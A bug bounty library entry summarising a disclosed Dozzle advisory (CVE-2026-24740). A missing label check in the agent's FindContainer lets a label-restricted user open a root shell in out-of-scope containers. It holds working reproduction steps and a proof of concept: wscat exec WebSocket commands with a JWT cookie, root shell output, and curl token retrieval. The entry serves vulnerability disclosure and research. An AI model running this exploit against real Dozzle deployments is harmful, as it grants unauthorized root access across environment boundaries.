# Dozzle Agent Label-Based Access Control Bypass Allows Unauthorized Container Shell Access

Dozzle agent's FindContainer ignored user label filters, letting a label-restricted user open a root shell in out-of-scope containers by supplying their IDs.

- Payout: Research
- Severity: high
- Program: Dozzle
- Found by: k14uz
- Disclosed: 2026-01-27
- CVE: CVE-2026-24740
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-m855-r557-5rc5
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-m855-r557-5rc5
- Tags: area:cloud domain:cloud impact:internal-access impact:privesc kind:research platform:ghsa sev:high tech:docker tech:websocket technique:source-review vuln:access-control vuln:auth-bypass vuln:idor

**Target:** Dozzle agent-backed container exec/attach WebSocket endpoints
**Root cause:** agentService.FindContainer forwards only the container ID to the agent client and drops the userLabels argument, so label-based authorization is never enforced on exec/attach lookups, unlike ListContainers.
**Steps:**
1. Run dozzle agent with docker.sock mounted on port 7007
2. Start `dev-allowed` (label env=dev) and `prod-secret` (label env=prod) containers
3. Create users.yaml with devuser having `filter: "label=env=dev"` and `roles: "shell"`
4. Run dozzle main with DOZZLE_AUTH_PROVIDER=simple, DOZZLE_ENABLE_SHELL=true, DOZZLE_REMOTE_AGENT pointing at the agent
5. POST /api/token with devuser credentials to get the jwt cookie
6. Obtain the agent host ID and the prod container ID via `docker ps`
7. Connect `wscat -c ws://localhost:8080/api/hosts/${HOST_ID}/containers/${PROD_CID}/exec -H "Cookie: jwt=${TOKEN}"` and send `{"type":"userinput","data":"id\n"}` to get root shell
**How found:** Compared the agent-backed FindContainer implementation against ListContainers and the Docker client, noticing the labels parameter was accepted but never used, and that the Docker client's FindContainer explicitly documents skipping filters.
**Exploitation:** An authenticated user with the shell role and a label filter logs in normally, then opens a WebSocket to the agent-backed exec endpoint using a container ID outside their label scope; the server resolves the container without applying filters and spawns an interactive root shell, giving read/modify/disrupt access to the out-of-scope container.
**Escalation:** Crosses tenant/environment isolation boundaries (env=dev to env=prod) on the same agent host, yielding root in production containers.
**Insight:** When an interface method accepts an authorization parameter (labels), grep every implementation for whether it actually forwards it; agent/proxy backends that re-implement a lookup often silently drop the filter that the local implementation enforces.

## Proof of concept (copied exactly from the original report)

**wscat exec into out-of-scope prod container**

```
wscat -c "ws://localhost:8080/api/hosts/${HOST_ID}/containers/${PROD_CID}/exec" \
  -H "Cookie: jwt=${TOKEN}"
Connected (press CTRL+C to quit)
< / # 
/ # 
> {"type":"userinput","data":"id\n"}
< id

< uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ # 
> {"type":"userinput","data":"cat /etc/hostname\n"}
< cat /etc/hostname

< 3731627f4e2d

< / # 
> quit
Disconnected (code: 1006, reason: "")
```

**users.yaml label filter and token retrieval**

```
cat > /tmp/dozzle/data/users.yaml << EOF
users:
  devuser:
    email: dev@example.com
    name: Dev User
    password: ${HASH}
    filter: "label=env=dev"
    roles: "shell"
EOF

# sanity check users 
$ cat /tmp/dozzle/data/users.yaml
users:
  devuser:
    email: dev@example.com
    name: Dev User
    password: fee39c23856e3d9dd500861a30903548b8878994291b2fef7fff2f53b3073c0c
    filter: "label=env=dev"
    roles: "shell"

# run main image
$ docker run -d --name dozzle-main \
  -v /tmp/dozzle/data:/data \
  -p 8080:8080 \
  -e DOZZLE_AUTH_PROVIDER=simple \
  -e DOZZLE_AUTH_TTL=48h \
  -e DOZZLE_ENABLE_SHELL=true \
  -e "DOZZLE_REMOTE_AGENT=host.docker.internal:7007" \
  amir20/dozzle:latest

# sleep
$ sleep 8

# get jwt token for devuser
$ curl -s -X POST http://localhost:8080/api/token \
  -d "username=devuser&password=devpass" \
  -c /tmp/dozzle/cookies.txt

# save the token
$ TOKEN=$(grep jwt /tmp/dozzle/cookies.txt | awk '{print $7}')
```

**Agent FindContainer ignoring label scope**

```
func (a *agentService) FindContainer(ctx context.Context, id string, labels container.ContainerLabels) (container.Container, error) {
    return a.client.FindContainer(ctx, id)
}
```

